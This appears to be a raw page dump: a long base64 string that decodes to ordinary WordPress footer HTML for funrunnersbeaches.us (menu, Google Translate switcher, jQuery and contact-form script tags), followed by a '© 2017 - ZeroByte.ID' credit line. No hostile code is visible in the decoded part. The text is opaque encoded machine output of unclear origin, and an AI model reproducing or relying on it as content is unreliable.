BpZD0ic2l0ZS1nZW5lcmF0b3IiIGNsYXNzPSJjbGVhcmZpeCI+Cgk8ZGl2IGNsYXNzPSJkZWZhdWx0Q29udGVudFdpZHRoIj4KCQk8ZGl2IGlkPSJmb290ZXItdGV4dCI+CgkJCTxwPjxzdHJvbmc+wqkgMjAxNyBDb3B5cmlnaHQgYnkgZnVucnVubmVyc2JlYWNoZXMudXMgLjwvc3Ryb25nPiBBbGwgcmlnaHRzIHJlc2VydmVkLjwvcD4KCQk8L2Rpdj4KPG5hdiBjbGFzcz0iZm9vdGVyLW1lbnUiPjx1bCBpZD0ibWVudS1mb290ZXItbWVudSIgY2xhc3M9Im1lbnUiPjxsaSBpZD0ibWVudS1pdGVtLTgyMzYiIGNsYXNzPSJtZW51LWl0ZW0gbWVudS1pdGVtLXR5cGUtcG9zdF90eXBlIG1lbnUtaXRlbS1vYmplY3QtcGFnZSBtZW51LWl0ZW0taG9tZSBjdXJyZW50LW1lbnUtaXRlbSBwYWdlX2l0ZW0gcGFnZS1pdGVtLTcgY3VycmVudF9wYWdlX2l0ZW0gbWVudS1pdGVtLTgyMzYiPjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8iPkhvbWU8L2E+PC9saT4KPGxpIGlkPSJtZW51LWl0ZW0tODIzNSIgY2xhc3M9Im1lbnUtaXRlbSBtZW51LWl0ZW0tdHlwZS1wb3N0X3R5cGUgbWVudS1pdGVtLW9iamVjdC1wYWdlIG1lbnUtaXRlbS04MjM1Ij48YSBocmVmPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvP3BhZ2VfaWQ9NTAxOSI+QmxvZzwvYT48L2xpPgo8bGkgaWQ9Im1lbnUtaXRlbS04MjM4IiBjbGFzcz0ibWVudS1pdGVtIG1lbnUtaXRlbS10eXBlLXBvc3RfdHlwZSBtZW51LWl0ZW0tb2JqZWN0LXBhZ2UgbWVudS1pdGVtLTgyMzgiPjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/cGFnZV9pZD01MDAyIj5UaGVtZSBGZWF0dXJlczwvYT48L2xpPgo8bGkgaWQ9Im1lbnUtaXRlbS04MjM3IiBjbGFzcz0ibWVudS1pdGVtIG1lbnUtaXRlbS10eXBlLXBvc3RfdHlwZSBtZW51LWl0ZW0tb2JqZWN0LXBhZ2UgbWVudS1pdGVtLTgyMzciPjxhIGhyZWY9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy8/cGFnZV9pZD00MTc3Ij5Db250YWN0IFVzPC9hPjwvbGk+CjwvdWw+PC9uYXY+CTwvZGl2Pgo8L2Rpdj4KCQk8L2Zvb3Rlcj4KCgk8L2Rpdj4KCjxkaXYgc3R5bGU9InBvc2l0aW9uOmZpeGVkO2JvdHRvbTowO2xlZnQ6OCU7ei1pbmRleDo5OTk5OTk7IiBpZD0iZ3RyYW5zbGF0ZV93cmFwcGVyIj4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KLnN3aXRjaGVyIHtmb250LWZhbWlseTpBcmlhbDtmb250LXNpemU6MTBwdDt0ZXh0LWFsaWduOmxlZnQ7Y3Vyc29yOnBvaW50ZXI7b3ZlcmZsb3c6aGlkZGVuO3dpZHRoOjE2M3B4O2xpbmUtaGVpZ2h0OjE3cHg7fQouc3dpdGNoZXIgYSB7dGV4dC1kZWNvcmF0aW9uOm5vbmU7ZGlzcGxheTpibG9jaztmb250LXNpemU6MTBwdDstd2Via2l0LWJveC1zaXppbmc6Y29udGVudC1ib3g7LW1vei1ib3gtc2l6aW5nOmNvbnRlbnQtYm94O2JveC1zaXppbmc6Y29udGVudC1ib3g7fQouc3dpdGNoZXIgYSBpbWcge3ZlcnRpY2FsLWFsaWduOm1pZGRsZTtkaXNwbGF5OmlubGluZTtib3JkZXI6MDtwYWRkaW5nOjA7bWFyZ2luOjA7b3BhY2l0eTowLjg7fQouc3dpdGNoZXIgYTpob3ZlciBpbWcge29wYWNpdHk6MTt9Ci5zd2l0Y2hlciAuc2VsZWN0ZWQge2JhY2tncm91bmQ6I0ZGRkZGRiB1cmwoaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9ndHJhbnNsYXRlL3N3aXRjaGVyLnBuZykgcmVwZWF0LXg7cG9zaXRpb246cmVsYXRpdmU7ei1pbmRleDo5OTk5O30KLnN3aXRjaGVyIC5zZWxlY3RlZCBhIHtib3JkZXI6MXB4IHNvbGlkICNDQ0NDQ0M7YmFja2dyb3VuZDp1cmwoaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9ndHJhbnNsYXRlL2Fycm93X2Rvd24ucG5nKSAxNDZweCBjZW50ZXIgbm8tcmVwZWF0O2NvbG9yOiM2NjY2NjY7cGFkZGluZzozcHggNXB4O3dpZHRoOjE1MXB4O30KLnN3aXRjaGVyIC5zZWxlY3RlZCBhLm9wZW4ge2JhY2tncm91bmQtaW1hZ2U6dXJsKGh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9hcnJvd191cC5wbmcpfQouc3dpdGNoZXIgLnNlbGVjdGVkIGE6aG92ZXIge2JhY2tncm91bmQ6I0YwRjBGMCB1cmwoaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9ndHJhbnNsYXRlL2Fycm93X2Rvd24ucG5nKSAxNDZweCBjZW50ZXIgbm8tcmVwZWF0O30KLnN3aXRjaGVyIC5vcHRpb24ge3Bvc2l0aW9uOnJlbGF0aXZlO3otaW5kZXg6OTk5ODtib3JkZXItbGVmdDoxcHggc29saWQgI0NDQ0NDQztib3JkZXItcmlnaHQ6MXB4IHNvbGlkICNDQ0NDQ0M7Ym9yZGVyLWJvdHRvbToxcHggc29saWQgI0NDQ0NDQztiYWNrZ3JvdW5kLWNvbG9yOiNFRUVFRUU7ZGlzcGxheTpub25lO3dpZHRoOjE2MXB4O21heC1oZWlnaHQ6MTk4cHg7LXdlYmtpdC1ib3gtc2l6aW5nOmNvbnRlbnQtYm94Oy1tb3otYm94LXNpemluZzpjb250ZW50LWJveDtib3gtc2l6aW5nOmNvbnRlbnQtYm94O292ZXJmbG93LXk6YXV0bztvdmVyZmxvdy14OmhpZGRlbjt9Ci5zd2l0Y2hlciAub3B0aW9uIGEge2NvbG9yOiMwMDA7cGFkZGluZzozcHggNXB4O30KLnN3aXRjaGVyIC5vcHRpb24gYTpob3ZlciB7YmFja2dyb3VuZDojRkZDO30KLnN3aXRjaGVyIC5vcHRpb24gYS5zZWxlY3RlZCB7YmFja2dyb3VuZDojRkZDO30KI3NlbGVjdGVkX2xhbmdfbmFtZSB7ZmxvYXQ6IG5vbmU7fQoubF9uYW1lIHtmbG9hdDogbm9uZSAhaW1wb3J0YW50O21hcmdpbjogMDt9Ci5zd2l0Y2hlciAub3B0aW9uOjotd2Via2l0LXNjcm9sbGJhci10cmFja3std2Via2l0LWJveC1zaGFkb3c6aW5zZXQgMCAwIDNweCByZ2JhKDAsMCwwLDAuMyk7Ym9yZGVyLXJhZGl1czo1cHg7YmFja2dyb3VuZC1jb2xvcjojRjVGNUY1O30KLnN3aXRjaGVyIC5vcHRpb246Oi13ZWJraXQtc2Nyb2xsYmFyIHt3aWR0aDo1cHg7fQouc3dpdGNoZXIgLm9wdGlvbjo6LXdlYmtpdC1zY3JvbGxiYXItdGh1bWIge2JvcmRlci1yYWRpdXM6NXB4Oy13ZWJraXQtYm94LXNoYWRvdzogaW5zZXQgMCAwIDNweCByZ2JhKDAsMCwwLC4zKTtiYWNrZ3JvdW5kLWNvbG9yOiM4ODg7fQo8L3N0eWxlPgo8ZGl2IGNsYXNzPSJzd2l0Y2hlciBub3RyYW5zbGF0ZSI+CjxkaXYgY2xhc3M9InNlbGVjdGVkIj4KPGEgaHJlZj0iIyIgb25jbGljaz0icmV0dXJuIGZhbHNlOyI+PGltZyBzcmM9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9mbGFncy8xNi9lbi5wbmciIGhlaWdodD0iMTYiIHdpZHRoPSIxNiIgYWx0PSJlbiIgLz4gRW5nbGlzaDwvYT4KPC9kaXY+CjxkaXYgY2xhc3M9Im9wdGlvbiI+CjxhIGhyZWY9IiMiIG9uY2xpY2s9ImRvR1RyYW5zbGF0ZSgnZW58YXInKTtqUXVlcnkoJ2Rpdi5zd2l0Y2hlciBkaXYuc2VsZWN0ZWQgYScpLmh0bWwoalF1ZXJ5KHRoaXMpLmh0bWwoKSk7cmV0dXJuIGZhbHNlOyIgdGl0bGU9IkFyYWJpYyIgY2xhc3M9Im50dXJsIj48aW1nIHNyYz0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9ndHJhbnNsYXRlL2ZsYWdzLzE2L2FyLnBuZyIgaGVpZ2h0PSIxNiIgd2lkdGg9IjE2IiBhbHQ9ImFyIiAvPiBBcmFiaWM8L2E+PGEgaHJlZj0iIyIgb25jbGljaz0iZG9HVHJhbnNsYXRlKCdlbnx6aC1DTicpO2pRdWVyeSgnZGl2LnN3aXRjaGVyIGRpdi5zZWxlY3RlZCBhJykuaHRtbChqUXVlcnkodGhpcykuaHRtbCgpKTtyZXR1cm4gZmFsc2U7IiB0aXRsZT0iQ2hpbmVzZSAoU2ltcGxpZmllZCkiIGNsYXNzPSJudHVybCI+PGltZyBzcmM9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9mbGFncy8xNi96aC1DTi5wbmciIGhlaWdodD0iMTYiIHdpZHRoPSIxNiIgYWx0PSJ6aC1DTiIgLz4gQ2hpbmVzZSAoU2ltcGxpZmllZCk8L2E+PGEgaHJlZj0iIyIgb25jbGljaz0iZG9HVHJhbnNsYXRlKCdlbnxubCcpO2pRdWVyeSgnZGl2LnN3aXRjaGVyIGRpdi5zZWxlY3RlZCBhJykuaHRtbChqUXVlcnkodGhpcykuaHRtbCgpKTtyZXR1cm4gZmFsc2U7IiB0aXRsZT0iRHV0Y2giIGNsYXNzPSJudHVybCI+PGltZyBzcmM9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9mbGFncy8xNi9ubC5wbmciIGhlaWdodD0iMTYiIHdpZHRoPSIxNiIgYWx0PSJubCIgLz4gRHV0Y2g8L2E+PGEgaHJlZj0iIyIgb25jbGljaz0iZG9HVHJhbnNsYXRlKCdlbnxlbicpO2pRdWVyeSgnZGl2LnN3aXRjaGVyIGRpdi5zZWxlY3RlZCBhJykuaHRtbChqUXVlcnkodGhpcykuaHRtbCgpKTtyZXR1cm4gZmFsc2U7IiB0aXRsZT0iRW5nbGlzaCIgY2xhc3M9Im50dXJsIHNlbGVjdGVkIj48aW1nIHNyYz0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9ndHJhbnNsYXRlL2ZsYWdzLzE2L2VuLnBuZyIgaGVpZ2h0PSIxNiIgd2lkdGg9IjE2IiBhbHQ9ImVuIiAvPiBFbmdsaXNoPC9hPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImRvR1RyYW5zbGF0ZSgnZW58ZnInKTtqUXVlcnkoJ2Rpdi5zd2l0Y2hlciBkaXYuc2VsZWN0ZWQgYScpLmh0bWwoalF1ZXJ5KHRoaXMpLmh0bWwoKSk7cmV0dXJuIGZhbHNlOyIgdGl0bGU9IkZyZW5jaCIgY2xhc3M9Im50dXJsIj48aW1nIHNyYz0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9ndHJhbnNsYXRlL2ZsYWdzLzE2L2ZyLnBuZyIgaGVpZ2h0PSIxNiIgd2lkdGg9IjE2IiBhbHQ9ImZyIiAvPiBGcmVuY2g8L2E+PGEgaHJlZj0iIyIgb25jbGljaz0iZG9HVHJhbnNsYXRlKCdlbnxkZScpO2pRdWVyeSgnZGl2LnN3aXRjaGVyIGRpdi5zZWxlY3RlZCBhJykuaHRtbChqUXVlcnkodGhpcykuaHRtbCgpKTtyZXR1cm4gZmFsc2U7IiB0aXRsZT0iR2VybWFuIiBjbGFzcz0ibnR1cmwiPjxpbWcgc3JjPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2d0cmFuc2xhdGUvZmxhZ3MvMTYvZGUucG5nIiBoZWlnaHQ9IjE2IiB3aWR0aD0iMTYiIGFsdD0iZGUiIC8+IEdlcm1hbjwvYT48YSBocmVmPSIjIiBvbmNsaWNrPSJkb0dUcmFuc2xhdGUoJ2VufGl0Jyk7alF1ZXJ5KCdkaXYuc3dpdGNoZXIgZGl2LnNlbGVjdGVkIGEnKS5odG1sKGpRdWVyeSh0aGlzKS5odG1sKCkpO3JldHVybiBmYWxzZTsiIHRpdGxlPSJJdGFsaWFuIiBjbGFzcz0ibnR1cmwiPjxpbWcgc3JjPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2d0cmFuc2xhdGUvZmxhZ3MvMTYvaXQucG5nIiBoZWlnaHQ9IjE2IiB3aWR0aD0iMTYiIGFsdD0iaXQiIC8+IEl0YWxpYW48L2E+PGEgaHJlZj0iIyIgb25jbGljaz0iZG9HVHJhbnNsYXRlKCdlbnxwdCcpO2pRdWVyeSgnZGl2LnN3aXRjaGVyIGRpdi5zZWxlY3RlZCBhJykuaHRtbChqUXVlcnkodGhpcykuaHRtbCgpKTtyZXR1cm4gZmFsc2U7IiB0aXRsZT0iUG9ydHVndWVzZSIgY2xhc3M9Im50dXJsIj48aW1nIHNyYz0iaHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWNvbnRlbnQvcGx1Z2lucy9ndHJhbnNsYXRlL2ZsYWdzLzE2L3B0LnBuZyIgaGVpZ2h0PSIxNiIgd2lkdGg9IjE2IiBhbHQ9InB0IiAvPiBQb3J0dWd1ZXNlPC9hPjxhIGhyZWY9IiMiIG9uY2xpY2s9ImRvR1RyYW5zbGF0ZSgnZW58cnUnKTtqUXVlcnkoJ2Rpdi5zd2l0Y2hlciBkaXYuc2VsZWN0ZWQgYScpLmh0bWwoalF1ZXJ5KHRoaXMpLmh0bWwoKSk7cmV0dXJuIGZhbHNlOyIgdGl0bGU9IlJ1c3NpYW4iIGNsYXNzPSJudHVybCI+PGltZyBzcmM9Imh0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1jb250ZW50L3BsdWdpbnMvZ3RyYW5zbGF0ZS9mbGFncy8xNi9ydS5wbmciIGhlaWdodD0iMTYiIHdpZHRoPSIxNiIgYWx0PSJydSIgLz4gUnVzc2lhbjwvYT48YSBocmVmPSIjIiBvbmNsaWNrPSJkb0dUcmFuc2xhdGUoJ2VufGVzJyk7alF1ZXJ5KCdkaXYuc3dpdGNoZXIgZGl2LnNlbGVjdGVkIGEnKS5odG1sKGpRdWVyeSh0aGlzKS5odG1sKCkpO3JldHVybiBmYWxzZTsiIHRpdGxlPSJTcGFuaXNoIiBjbGFzcz0ibnR1cmwiPjxpbWcgc3JjPSJodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2d0cmFuc2xhdGUvZmxhZ3MvMTYvZXMucG5nIiBoZWlnaHQ9IjE2IiB3aWR0aD0iMTYiIGFsdD0iZXMiIC8+IFNwYW5pc2g8L2E+PC9kaXY+CjwvZGl2Pgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+CmpRdWVyeSgnLnN3aXRjaGVyIC5zZWxlY3RlZCcpLmNsaWNrKGZ1bmN0aW9uKCkge2lmKCEoalF1ZXJ5KCcuc3dpdGNoZXIgLm9wdGlvbicpLmlzKCc6dmlzaWJsZScpKSkge2pRdWVyeSgnLnN3aXRjaGVyIC5vcHRpb24nKS5zdG9wKHRydWUsdHJ1ZSkuZGVsYXkoMTAwKS5zbGlkZURvd24oNTAwKTtqUXVlcnkoJy5zd2l0Y2hlciAuc2VsZWN0ZWQgYScpLnRvZ2dsZUNsYXNzKCdvcGVuJyl9fSk7CmpRdWVyeSgnLnN3aXRjaGVyIC5vcHRpb24nKS5iaW5kKCdtb3VzZXdoZWVsJywgZnVuY3Rpb24oZSkge3ZhciBvcHRpb25zID0galF1ZXJ5KCcuc3dpdGNoZXIgLm9wdGlvbicpO2lmKG9wdGlvbnMuaXMoJzp2aXNpYmxlJykpb3B0aW9ucy5zY3JvbGxUb3Aob3B0aW9ucy5zY3JvbGxUb3AoKSAtIGUub3JpZ2luYWxFdmVudC53aGVlbERlbHRhKTtyZXR1cm4gZmFsc2U7fSk7CmpRdWVyeSgnYm9keScpLm5vdCgnLnN3aXRjaGVyJykuY2xpY2soZnVuY3Rpb24oZSkge2lmKGpRdWVyeSgnLnN3aXRjaGVyIC5vcHRpb24nKS5pcygnOnZpc2libGUnKSAmJiBlLnRhcmdldCAhPSBqUXVlcnkoJy5zd2l0Y2hlciAub3B0aW9uJykuZ2V0KDApKSB7alF1ZXJ5KCcuc3dpdGNoZXIgLm9wdGlvbicpLnN0b3AodHJ1ZSx0cnVlKS5kZWxheSgxMDApLnNsaWRlVXAoNTAwKTtqUXVlcnkoJy5zd2l0Y2hlciAuc2VsZWN0ZWQgYScpLnRvZ2dsZUNsYXNzKCdvcGVuJyl9fSk7Cjwvc2NyaXB0Pgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgojZ29vZy1ndC10dCB7ZGlzcGxheTpub25lICFpbXBvcnRhbnQ7fQouZ29vZy10ZS1iYW5uZXItZnJhbWUge2Rpc3BsYXk6bm9uZSAhaW1wb3J0YW50O30KLmdvb2ctdGUtbWVudS12YWx1ZTpob3ZlciB7dGV4dC1kZWNvcmF0aW9uOm5vbmUgIWltcG9ydGFudDt9Ci5nb29nLXRleHQtaGlnaGxpZ2h0IHtiYWNrZ3JvdW5kLWNvbG9yOnRyYW5zcGFyZW50ICFpbXBvcnRhbnQ7Ym94LXNoYWRvdzpub25lICFpbXBvcnRhbnQ7fQpib2R5IHt0b3A6MCAhaW1wb3J0YW50O30KI2dvb2dsZV90cmFuc2xhdGVfZWxlbWVudDIge2Rpc3BsYXk6bm9uZSFpbXBvcnRhbnQ7fQo8L3N0eWxlPgoKPGRpdiBpZD0iZ29vZ2xlX3RyYW5zbGF0ZV9lbGVtZW50MiI+PC9kaXY+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KZnVuY3Rpb24gZ29vZ2xlVHJhbnNsYXRlRWxlbWVudEluaXQyKCkge25ldyBnb29nbGUudHJhbnNsYXRlLlRyYW5zbGF0ZUVsZW1lbnQoe3BhZ2VMYW5ndWFnZTogJ2VuJyxhdXRvRGlzcGxheTogZmFsc2V9LCAnZ29vZ2xlX3RyYW5zbGF0ZV9lbGVtZW50MicpO30KPC9zY3JpcHQ+PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iLy90cmFuc2xhdGUuZ29vZ2xlLmNvbS90cmFuc2xhdGVfYS9lbGVtZW50LmpzP2NiPWdvb2dsZVRyYW5zbGF0ZUVsZW1lbnRJbml0MiI+PC9zY3JpcHQ+CgoKPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgpmdW5jdGlvbiBHVHJhbnNsYXRlR2V0Q3VycmVudExhbmcoKSB7dmFyIGtleVZhbHVlID0gZG9jdW1lbnRbJ2Nvb2tpZSddLm1hdGNoKCcoXnw7KSA/Z29vZ3RyYW5zPShbXjtdKikoO3wkKScpO3JldHVybiBrZXlWYWx1ZSA/IGtleVZhbHVlWzJdLnNwbGl0KCcvJylbMl0gOiBudWxsO30KZnVuY3Rpb24gR1RyYW5zbGF0ZUZpcmVFdmVudChlbGVtZW50LGV2ZW50KXt0cnl7aWYoZG9jdW1lbnQuY3JlYXRlRXZlbnRPYmplY3Qpe3ZhciBldnQ9ZG9jdW1lbnQuY3JlYXRlRXZlbnRPYmplY3QoKTtlbGVtZW50LmZpcmVFdmVudCgnb24nK2V2ZW50LGV2dCl9ZWxzZXt2YXIgZXZ0PWRvY3VtZW50LmNyZWF0ZUV2ZW50KCdIVE1MRXZlbnRzJyk7ZXZ0LmluaXRFdmVudChldmVudCx0cnVlLHRydWUpO2VsZW1lbnQuZGlzcGF0Y2hFdmVudChldnQpfX1jYXRjaChlKXt9fQpmdW5jdGlvbiBkb0dUcmFuc2xhdGUobGFuZ19wYWlyKXtpZihsYW5nX3BhaXIudmFsdWUpbGFuZ19wYWlyPWxhbmdfcGFpci52YWx1ZTtpZihsYW5nX3BhaXI9PScnKXJldHVybjt2YXIgbGFuZz1sYW5nX3BhaXIuc3BsaXQoJ3wnKVsxXTtpZihHVHJhbnNsYXRlR2V0Q3VycmVudExhbmcoKSA9PSBudWxsICYmIGxhbmcgPT0gbGFuZ19wYWlyLnNwbGl0KCd8JylbMF0pcmV0dXJuO3ZhciB0ZUNvbWJvO3ZhciBzZWw9ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ3NlbGVjdCcpO2Zvcih2YXIgaT0wO2k8c2VsLmxlbmd0aDtpKyspaWYoL2dvb2ctdGUtY29tYm8vLnRlc3Qoc2VsW2ldLmNsYXNzTmFtZSkpe3RlQ29tYm89c2VsW2ldO2JyZWFrO31pZihkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZ29vZ2xlX3RyYW5zbGF0ZV9lbGVtZW50MicpPT1udWxsfHxkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZ29vZ2xlX3RyYW5zbGF0ZV9lbGVtZW50MicpLmlubmVySFRNTC5sZW5ndGg9PTB8fHRlQ29tYm8ubGVuZ3RoPT0wfHx0ZUNvbWJvLmlubmVySFRNTC5sZW5ndGg9PTApe3NldFRpbWVvdXQoZnVuY3Rpb24oKXtkb0dUcmFuc2xhdGUobGFuZ19wYWlyKX0sNTAwKX1lbHNle3RlQ29tYm8udmFsdWU9bGFuZztHVHJhbnNsYXRlRmlyZUV2ZW50KHRlQ29tYm8sJ2NoYW5nZScpO0dUcmFuc2xhdGVGaXJlRXZlbnQodGVDb21ibywnY2hhbmdlJyl9fQppZihHVHJhbnNsYXRlR2V0Q3VycmVudExhbmcoKSAhPSBudWxsKWpRdWVyeShkb2N1bWVudCkucmVhZHkoZnVuY3Rpb24oKSB7alF1ZXJ5KCdkaXYuc3dpdGNoZXIgZGl2LnNlbGVjdGVkIGEnKS5odG1sKGpRdWVyeSgnZGl2LnN3aXRjaGVyIGRpdi5vcHRpb24nKS5maW5kKCdpbWdbYWx0PSInK0dUcmFuc2xhdGVHZXRDdXJyZW50TGFuZygpKyciXScpLnBhcmVudCgpLmh0bWwoKSk7fSk7Cjwvc2NyaXB0Pgo8L2Rpdj48c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtaW5jbHVkZXMvanMvY29tbWVudC1yZXBseS5taW4uanM/dmVyPTQuOS4xMCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0Jz4KLyogPCFbQ0RBVEFbICovCnZhciB3cGNmNyA9IHsiYXBpU2V0dGluZ3MiOnsicm9vdCI6Imh0dHA6XC9cL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzXC9pbmRleC5waHA/cmVzdF9yb3V0ZT1cL2NvbnRhY3QtZm9ybS03XC92MSIsIm5hbWVzcGFjZSI6ImNvbnRhY3QtZm9ybS03XC92MSJ9LCJyZWNhcHRjaGEiOnsibWVzc2FnZXMiOnsiZW1wdHkiOiJQbGVhc2UgdmVyaWZ5IHRoYXQgeW91IGFyZSBub3QgYSByb2JvdC4ifX0sImNhY2hlZCI6IjEifTsKLyogXV0+ICovCjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtY29udGVudC9wbHVnaW5zL2NvbnRhY3QtZm9ybS03L2luY2x1ZGVzL2pzL3NjcmlwdHMuanM/dmVyPTQuOSc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1pbmNsdWRlcy9qcy9qcXVlcnkvdWkvY29yZS5taW4uanM/dmVyPTEuMTEuNCc+PC9zY3JpcHQ+CjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9J2h0dHA6Ly9mdW5ydW5uZXJzYmVhY2hlcy51cy93cC1pbmNsdWRlcy9qcy9qcXVlcnkvdWkvd2lkZ2V0Lm1pbi5qcz92ZXI9MS4xMS40Jz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS91aS90YWJzLm1pbi5qcz92ZXI9MS4xMS40Jz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS91aS9hY2NvcmRpb24ubWluLmpzP3Zlcj0xLjExLjQnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L3VpL3Bvc2l0aW9uLm1pbi5qcz92ZXI9MS4xMS40Jz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS91aS9tZW51Lm1pbi5qcz92ZXI9MS4xMS40Jz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWluY2x1ZGVzL2pzL3dwLWExMXkubWluLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCc+Ci8qIDwhW0NEQVRBWyAqLwp2YXIgdWlBdXRvY29tcGxldGVMMTBuID0geyJub1Jlc3VsdHMiOiJObyByZXN1bHRzIGZvdW5kLiIsIm9uZVJlc3VsdCI6IjEgcmVzdWx0IGZvdW5kLiBVc2UgdXAgYW5kIGRvd24gYXJyb3cga2V5cyB0byBuYXZpZ2F0ZS4iLCJtYW55UmVzdWx0cyI6IiVkIHJlc3VsdHMgZm91bmQuIFVzZSB1cCBhbmQgZG93biBhcnJvdyBrZXlzIHRvIG5hdmlnYXRlLiIsIml0ZW1TZWxlY3RlZCI6Ikl0ZW0gc2VsZWN0ZWQuIn07Ci8qIF1dPiAqLwo8L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS91aS9hdXRvY29tcGxldGUubWluLmpzP3Zlcj0xLjExLjQnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L3VpL21vdXNlLm1pbi5qcz92ZXI9MS4xMS40Jz48L3NjcmlwdD4KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnIHNyYz0naHR0cDovL2Z1bnJ1bm5lcnNiZWFjaGVzLnVzL3dwLWluY2x1ZGVzL2pzL2pxdWVyeS91aS9zbGlkZXIubWluLmpzP3Zlcj0xLjExLjQnPjwvc2NyaXB0Pgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCcgc3JjPSdodHRwOi8vZnVucnVubmVyc2JlYWNoZXMudXMvd3AtaW5jbHVkZXMvanMvd3AtZW1iZWQubWluLmpzP3Zlcj00LjkuMTAnPjwvc2NyaXB0PgoKCQoKPC9ib2R5Pgo8L2h0bWw+Ijt9
© 2017 -
ZeroByte.ID
.